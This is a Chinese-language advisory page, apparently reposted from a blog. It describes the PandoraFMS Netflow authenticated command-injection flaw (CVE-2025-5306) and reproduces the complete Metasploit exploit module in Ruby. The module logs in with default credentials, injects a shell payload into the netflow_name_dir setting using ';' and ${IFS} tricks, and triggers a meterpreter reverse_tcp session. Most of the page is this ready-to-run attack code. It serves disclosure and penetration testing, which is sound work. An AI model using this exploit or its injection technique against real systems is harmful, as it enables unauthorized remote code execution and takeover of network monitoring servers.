PandoraFMS Netflow Authenticated Remote Code Execution

漏洞信息

漏洞名称: PandoraFMS Netflow Authenticated Remote Code Execution

漏洞编号:

  • CVE: CVE-2025-5306

漏洞类型: 命令执行

漏洞等级: 高危

漏洞描述: PandoraFMS是一款开源的网络监控系统,广泛用于企业级网络监控和管理。它提供了网络流量分析、服务器监控、应用程序监控等功能,适用于各种规模的网络环境。该漏洞存在于PandoraFMS的Netflow组件中,攻击者可以利用该漏洞在受影响的系统上执行任意命令。漏洞的技术根源在于Netflow组件对用户输入的不当处理,导致攻击者可以通过构造恶意请求注入命令。由于该漏洞需要认证,攻击者需要有效的用户凭证才能利用此漏洞。成功利用此漏洞的攻击者可以在目标系统上执行任意命令,可能导致数据泄露、服务中断或其他恶意活动。该漏洞的影响范围限于安装了Netflow组件的PandoraFMS系统,版本在7.0.774到7.0.777.10之间。

产品厂商: PandoraFMS

产品名称: PandoraFMS

影响版本: 7.0.774 <= version <= 7.0.777.10

来源: https://github.com/rapid7/metasploit-framework/blob/195b8741907945f764e39028864880c0a90c6530/modules%2Fexploits%2Flinux%2Fhttp%2Fpandora_fms_auth_netflow_rce.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PandoraFMS Netflow Authenticated Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability in Netflow component of PandoraFMS. The module requires a set of user credentials to modify Netflow settings. Also, Netflow binaries have to be present on the system.
},
'License' => MSF_LICENSE,
'Author' => ['msutovsky-r7'], # researcher, module dev
'References' => [
[ 'CVE', '2025-5306']
],
'Platform' => ['unix', 'linux'],
'Arch' => [ ARCH_CMD ],
'Privileged' => false,
'Targets' => [

[
'Linux/Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => [ ARCH_CMD]
}
]
],
'DisclosureDate' => '2025-12-30',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'FETCH_WRITABLE_DIR' => '/tmp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to PandoraFMS application', '/pandora_console/']),
OptString.new('USERNAME', [true, 'Username to PandoraFMS applicaton', 'admin']),
OptString.new('PASSWORD', [true, 'Password to PandoraFMS application', 'pandora'])
]
)
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => { 'login' => '1' },
'keep_cookies' => true
})
return Msf::Exploit::CheckCode::Unknown('Received unexpected response') unless res&.code == 200

html = res.get_html_document

return Msf::Exploit::CheckCode::Unknown('Response seems to be empty') unless html

version = html.at('div[@id="ver_num"]')&.text

@csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil)

return Msf::Exploit::CheckCode::Safe('Application is not probably PandoraFMS') if version.blank?

version = version[1..]&.sub('NG', '')

vprint_warning('Token was not parsed, will try again') unless @csrf_token

vprint_status("Version #{version} detected")

return Exploit::CheckCode::Appears("Vulnerable PandoraFMS version #{version} detected") if Rex::Version.new(version).between?(Rex::Version.new('7.0.774'), Rex::Version.new('7.0.777.10'))

Msf::Exploit::CheckCode::Safe("Running version #{version}, which is not vulnerable")
end

def get_csrf_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => { 'login' => '1' },
'keep_cookies' => true
})
fail_with Failure::UnexpectedReply, 'Recevied unexpected response' unless res&.code == 200

html = res.get_html_document

fail_with Failure::UnexpectedReply, 'Empty response received' unless html

@csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil)

fail_with Failure::NotFound, 'Could not found CSRF token' unless @csrf_token
end

##
# Checks whether login response was valid and successful. It check whether response code is 200 an if body contains either of following values - id="welcome-icon-header", id="welcome-panel" or "godmode"
##
def login_successful?(res)
res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode')
end

def login
res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => { 'login' => '1' },
'vars_post' =>
{
'nick' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'login_button' => "Let's go",
'csrf_code' => @csrf_token
}
})
fail_with Failure::NoAccess, 'Invalid credentials' unless login_successful?(res)
end

def valid_netflow_options?(opts)
opts.each do |item|
return false if item.blank?
end
end

def configure_netflow
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' }
})

fail_with Failure::NotFound, 'Netflow might not be enabled' unless res&.code == 200

html = res.get_html_document

fail_with Failure::UnexpectedReply, 'Unexpected response when trying to configure Netflow' unless html

netflow_daemon_value = html.at('input[@name="netflow_daemon"]')&.attributes&.fetch('value', nil)
netflow_nfdump_value = html.at('input[@name="netflow_nfdump"]')&.attributes&.fetch('value', nil)
html.at('input[@name="netflow_nfexpire"]')&.attributes&.fetch('value', nil)
netflow_max_resolution_value = html.at('input[@name="netflow_max_resolution"]')&.attributes&.fetch('value', nil)
netflow_disable_custom_lvfilters_sent_value = html.at('input[@name="netflow_disable_custom_lvfilters_sent"]')&.attributes&.fetch('value', nil)
netflow_max_lifetime_value = html.at('input[@name="netflow_max_lifetime"]')&.attributes&.fetch('value', nil)
netflow_interval_value = html.at('select[@name="netflow_interval"]//option[@selected="selected"]')&.attributes&.fetch('value', nil)

request_data = {
'netflow_daemon' => netflow_daemon_value,
'netflow_nfdump' => netflow_nfdump_value,
'netflow_max_resolution' => netflow_max_resolution_value,
'netflow_disable_custom_lvfilters_sent' => netflow_disable_custom_lvfilters_sent_value,
'netflow_max_lifetime' => netflow_max_lifetime_value,
'netflow_interval' => netflow_interval_value
}

fail_with Failure::Unknown, 'Failed to get existing Netflow configuration' unless valid_netflow_options?(request_data)

request_data.merge!({
'netflow_name_dir' => ';' + payload.encoded.gsub(' ', '${IFS}') + '#',
'update_config' => '1',
'upd_button' => 'Update'
})

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' },
'vars_post' => request_data
})
fail_with Failure::PayloadFailed, 'Failed to configure Netflow' unless res&.code == 200
end

def trigger_payload
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => { 'sec' => 'network_traffic', 'sec2' => 'operation/netflow/netflow_explorer' }
})
end

def exploit
# do we have csrf token already
get_csrf_token unless @csrf_token

login

configure_netflow

trigger_payload
end
end



PandoraFMS Netflow Authenticated Remote Code Execution
http://example.com/2025/07/15/github_495556917/
作者
lianccc
发布于
2025年7月15日
许可协议